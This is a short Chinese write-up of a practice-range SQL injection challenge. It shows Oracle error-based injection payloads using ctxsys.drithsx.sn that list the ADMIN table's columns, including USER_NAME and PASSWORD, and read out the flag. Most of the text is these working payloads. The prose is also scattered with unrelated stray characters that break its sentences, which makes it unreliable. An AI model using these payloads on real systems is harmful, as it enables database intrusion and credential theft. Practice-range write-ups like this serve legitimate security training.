打開靶場鏈接后泳叠,按照提示,URL后面加上id參數(shù)茶宵,再訪問危纫,如下:
用id=1' 進行注入測試,出現(xiàn)了報錯乌庶,從報錯提示可看出种蝶,該數(shù)據(jù)庫是Oracle
用id=1' --+ 再測試,則正常顯示:
下面嘗試使用報錯注入讓想要查詢的數(shù)據(jù)回顯在Oracle的報錯信息中瞒大。
使用 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) 可輸出表名admin:
接著查找admin表中的字段名:ID螃征、USER_NAME、PASSWORD 和 FLAG_FLAG
ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1))
1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1))
1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USER_NAME' and rownum=1))
1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USER_NAME' and column_name<>'PASSWORD' and rownum=1))
最后查詢 FLAG_FLAG的數(shù)據(jù)即可得到flag:
1=ctxsys.drithsx.sn(1,(select FLAG_FLAG from ADMIN where rownum=1))